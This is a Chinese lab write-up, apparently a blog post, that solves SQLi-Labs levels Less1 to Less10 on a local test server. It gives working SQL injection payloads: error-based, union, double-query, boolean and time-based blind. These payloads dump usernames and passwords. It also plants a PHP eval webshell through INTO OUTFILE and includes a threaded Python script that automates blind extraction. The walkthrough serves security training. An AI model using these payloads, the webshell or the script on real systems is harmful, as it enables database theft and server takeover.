[靶场] SQLi-Labs Less1-Less10

提供主要的语句,略去探测数据库名,表名,字段名的步骤。 

1.Less1

请求方式注入方式类型备注
Get基于报错注入(updatexml函数)字符型单引号闭合

1. 正常提交

http://127.0.0.1:8003/Less-1/?id=1

2. 语句报错

http://127.0.0.1:8003/Less-1/?id=1'

3. 执行注入的SQL

http://127.0.0.1:8003/Less-1/?id=1' --+

http://127.0.0.1:8003/Less-1/?id=1'  and 0--+

报错:

http://127.0.0.1:8003/Less-1/?id=1' or updatexml(1, concat(0x7e, version()) , 1  )--+

版本,当前用户名,当前数据库名:

http://127.0.0.1:8003/Less-1/?id=1' or updatexml(1, concat(0x7e, version(), 0x7e, user(), 0x7e, database() ) , 1  )--+

4. 数据获取

http://127.0.0.1:8003/Less-1/?id=1' or updatexml(1, concat(0x7e,  (select  group_concat(table_name) from information_schema.tables where table_schema=database()  ) ) , 1  )--+
http://127.0.0.1:8003/Less-1/?id=1' or updatexml(1, concat(0x7e,  (select  group_concat(column_name) from information_schema.columns where table_schema=database()  and table_name = 'users' ) ) , 1  )--+

由于报错的字符长度受限,使用子查询的limit进行依次输出。可以使用BurpSuite进行爆破。

http://127.0.0.1:8003/Less-1/?id=1' or updatexml(1, concat(0x7e,  (select  group_concat(':', username, password) from (select * from users limit 0,1 )x ) ) , 1  )--+

2.Less2

 请求方式注入方式类型备注
Get基于报错注入(extractvalue函数)整形/

1. 正常提交

http://127.0.0.1:8003/Less-2/?id=1

2. 语句报错

http://127.0.0.1:8003/Less-2/?id=1'
http://127.0.0.1:8003/Less-2/?id=1"

3. 执行注入的SQL

http://127.0.0.1:8003/Less-2/?id=1 --+
http://127.0.0.1:8003/Less-2/?id=1 and 0 --+

4. 数据获取

http://127.0.0.1:8003/Less-2/?id=1 and extractvalue(1, concat(0x7e, version(), 0x7e, user(), 0x7e, database() )) --+

 后续步骤Less1。

3.Less3

 请求方式注入方式类型备注
Get基于报错注入(双注入)字符型单引号、括号闭合

1. 正常提交

http://127.0.0.1:8003/Less-3/?id=1

2. 语句报错

http://127.0.0.1:8003/Less-3/?id=1'

3. 执行注入的SQL

http://127.0.0.1:8003/Less-3/?id=1') --+
http://127.0.0.1:8003/Less-3/?id=1') and 0 --+

http://127.0.0.1:8003/Less-3/?id=1')  order by 3 --+
http://127.0.0.1:8003/Less-3/?id=1')  union select 1,2,3 --+

4. 数据获取

http://127.0.0.1:8003/Less-3/?id=1')  union select 1,2,count(*)  from information_schema.tables group by ( concat( floor(rand(0)*2),  version()  )   )    --+

双注入:

http://127.0.0.1:8003/Less-3/?id=1')  union select 1,2,count(*)  from information_schema.tables group by ( concat( floor(rand(0)*2), (select  concat(username,':',password)  from (select * from users  limit 1,1 )x )   )   )    --+

4.Less4

 请求方式注入方式类型备注
Get基于报错注入(union内联注入)字符型双引号闭合

1. 正常提交

http://127.0.0.1:8003/Less-4/?id=1

2. 语句报错

http://127.0.0.1:8003/Less-4/?id=1'
http://127.0.0.1:8003/Less-4/?id=1"

3. 执行注入的SQL

http://127.0.0.1:8003/Less-4/?id=1") --+
http://127.0.0.1:8003/Less-4/?id=1")  and 0  --+

http://127.0.0.1:8003/Less-4/?id=1")  order by 3  --+
http://127.0.0.1:8003/Less-4/?id=1")  and 0 union select 1,2,3  --+

4. 数据获取

数据库信息:版本,数据存储目录,数据库工作目录,当前用户名,当前数据库名

http://127.0.0.1:8003/Less-4/?id=1")  and 0 union select 1,concat(0x7e,@@version,0x7e,@@datadir,0x7e,@@basedir),concat(0x7e,user(),0x7e,database())  --+
http://127.0.0.1:8003/Less-4/?id=1")  and 0 union select 1,2,group_concat(0x7e,username, password) from users --+

5.Less5

 请求方式注入方式类型备注
Get双注入字符型单引号闭合

1. 正常提交

http://127.0.0.1:8003/Less-5/?id=1

2. 语句报错

http://127.0.0.1:8003/Less-5/?id=1'
http://127.0.0.1:8003/Less-5/?id=1' --+

3. 执行注入的SQL

http://127.0.0.1:8003/Less-5/?id=1' and 0 --+
http://127.0.0.1:8003/Less-5/?id=1' or 1 --+

http://127.0.0.1:8003/Less-5/?id=1' order by 3 --+
http://127.0.0.1:8003/Less-5/?id=1' union select 1,2,3 --+

4. 数据获取

获取数据库版本

http://127.0.0.1:8003/Less-5/?id=1' and 0 union select 1,2,count(*) from information_schema.tables group by concat( (select @@version) ,0x7e,  floor(rand(0)*2) ) --+

数据获取

http://127.0.0.1:8003/Less-5/?id=1' and 0 union select 1,2,count(*) from information_schema.tables group by concat( (select concat(username, 0x7e ,password) from (select * from users limit 0,1)x ) ,0x7e,  floor(rand(0)*2) ) --+

6.Less6

 请求方式注入方式类型备注
Get基于报错注入字符型双引号闭合

1. 正常提交

http://127.0.0.1:8003/Less-6/?id=1

2. 语句报错

http://127.0.0.1:8003/Less-6/?id=1"
http://127.0.0.1:8003/Less-6/?id=1" --+

3. 执行注入的SQL

http://127.0.0.1:8003/Less-6/?id=1" and 0 --+
http://127.0.0.1:8003/Less-6/?id=1" order by 3 --+

4. 数据获取

同Less6的方法,主要是将单引号闭合换为双引号闭合。

http://127.0.0.1:8003/Less-6/?id=1" and 0 union select 1,2,count(*) from information_schema.tables group by concat( (select concat(username, 0x7e ,password) from (select * from users limit 0,1)x ) ,0x7e,  floor(rand(0)*2) ) --+

7.Less7

 请求方式注入方式类型备注
Get文件读写字符型单引号、括号闭合

1. 正常提交

http://127.0.0.1:8003/Less-7/?id=1

2. 语句报错

http://127.0.0.1:8003/Less-7/?id=1'
http://127.0.0.1:8003/Less-7/?id=1'  --+
http://127.0.0.1:8003/Less-7/?id=1'))  --+

3. 执行注入的SQL

http://127.0.0.1:8003/Less-7/?id=1'))  order by 3 --+
http://127.0.0.1:8003/Less-7/?id=1'))  order by 4 --+
http://127.0.0.1:8003/Less-7/?id=1'))  union select 1,2,3 --+

4. 写入Webshell

写文件测试

http://127.0.0.1:8003/Less-7/?id=1'))  union select 1,2,3 into outfile "E:/phpstudy/WWW/sqlilabs/Less-7/flag.txt"  --+

上传WebShell。

http://127.0.0.1:8003/Less-7/?id=1'))  union select 1,2,"<?php  @eval($_POST['shell']);  ?>" into outfile "E:/phpstudy/WWW/sqlilabs/Less-7/wb.php"  --+

使用蚁剑连接WebShell。 

8.Less8

 请求方式注入方式类型备注
Get布尔盲注字符型单引号闭合

1. 正常提交

http://127.0.0.1:8003/Less-8/?id=1

2. 语句报错

http://127.0.0.1:8003/Less-8/?id=1'
http://127.0.0.1:8003/Less-8/?id=1' --+

3. 执行注入的SQL

http://127.0.0.1:8003/Less-8/?id=1'  and 0 --+
http://127.0.0.1:8003/Less-8/?id=-1'  or 1  --+

http://127.0.0.1:8003/Less-8/?id=-1'  or  if(1,1,0) --+
http://127.0.0.1:8003/Less-8/?id=-1'  or  if(0,1,0) --+

4. 数据获取

测试布尔盲注能否实现。

http://127.0.0.1:8003/Less-8/?id=-1'  or  if( ( select ascii(substr(  (select @@version) ,1,1)) > 0) ,1,0) --+
http://127.0.0.1:8003/Less-8/?id=-1'  or  if( ( select ascii(substr(  (select @@version) ,1,1)) > 100 ) ,1,0) --+

使用BurpSuite爆破出数据库版本。

 

开始攻击。

分析攻击的结果,即可得到数据库版本。

如下SQL语句结合BurpSuite爆破出数据库数据。

http://127.0.0.1:8003/Less-8/?id=-1'  or  if( ( select ascii(substr(  (select  group_concat(0x7e, username, password) from users   ) ,1,1)) >0 ) ,1,0) --+

编写脚本爆破也可以,省去分析攻击结果的步骤。 

9.Less9

由于服务器问题,下面的sleep(0.2)约等于2s。

 请求方式注入方式类型备注
Get时间盲注字符型单引号闭合

1. 正常提交

http://127.0.0.1:8003/Less-9/?id=1

2. 执行注入的SQL

下面的只有id=1'的语句延时了2s,说明语句被执行了,所以是单引号闭合。

http://127.0.0.1:8003/Less-9/?id=1'
http://127.0.0.1:8003/Less-9/?id=1" or sleep(0.2) --+
http://127.0.0.1:8003/Less-9/?id=1") or sleep(0.2) --+
http://127.0.0.1:8003/Less-9/?id=1' or sleep(0.2) --+

http://127.0.0.1:8003/Less-9/?id=-1' or if(1,sleep(0.2),1) --+
http://127.0.0.1:8003/Less-9/?id=-1' or if(0,sleep(0.2),1) --+

3. 数据获取

使用代码进行爆破最为便捷,以爆破数据库版本为例。

http://127.0.0.1:8003/Less-9/?id=-1' or if(  (select ascii(substr((select @@version),1,1))>0)   ,sleep(0.2),1) --+

使用如下代码: 

import requests
import time
import _thread
import threading
# 盲注爆破
charList = []
info = {}

urlTemplate = "http://127.0.0.1:8003/Less-9/?id=-1' or if(  (select ascii(substr((select @@version),{},1))={})   ,sleep(0.2),1) --+"

lock = threading.Lock()
allNumber = 8
runing = 0

def loadDict(file):
    global charList
    with open(file, 'r', encoding='utf-8') as f:
        charList += f.read().split('\n')
        print('Dict Loaded')

def req(name, n):
    global version, allNumber, runing
    for i in range(n, n+1, 1):
        for j in range(0, len(charList)):
            url = urlTemplate.format(str(i), charList[j])
            print('.', end='')
            time_start = time.time()
            requests.get(url=url)
            time_end = time.time()
            timeReal = time_end - time_start
            if timeReal > 4:
                lock.acquire()
                info[i] = chr(int(charList[j]))
                runing -= 1
                lock.release()
                print('{}:Find [{}] [{}/{}]'.format(name, chr(int(charList[j])), str(runing), str(allNumber)))
                break


def conv(info={}):
    res = []
    info = sorted(info.items(), key=lambda x: x[0], reverse=False)
    for i in info:
        res.append(i[1])
    return ''.join(res)


def main():
    global runing
    loadDict('../../字典/ascii_dict/ascii_数字+符号.txt')
    time_start = time.time()
    try:
        for i in range(1, allNumber+1, 1):
            th = threading.Thread(target=req, args=('T-{}'.format(str(i)), i))
            runing +=1
            th.start()
    except:
        print('线程启动异常')
    while threading.activeCount() != 1:
        pass
    time_end = time.time()
    print('\nresult:')
    print(conv(info))
    print('time:'+ str(int((time_end-time_start)/60)) + 'm')


if __name__ == '__main__':
    main()

得到爆破的结果: 

数据库信息的爆破同理,修改SQL语句,加载相应的字典即可。

10.Less10

 请求方式注入方式类型备注
Get时间盲注字符型双引号闭合

1. 正常提交

http://127.0.0.1:8003/Less-10/?id=1

2. 数据获取

原理同Less9,只是字符型的符号变了,变为双引号闭合。

http://127.0.0.1:8003/Less-10/?id=-1"  or if(  (select ascii(substr((select @@version),1,1))>0)   ,sleep(0.2),1) --+

依然使用Less9的脚本爆破即可。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值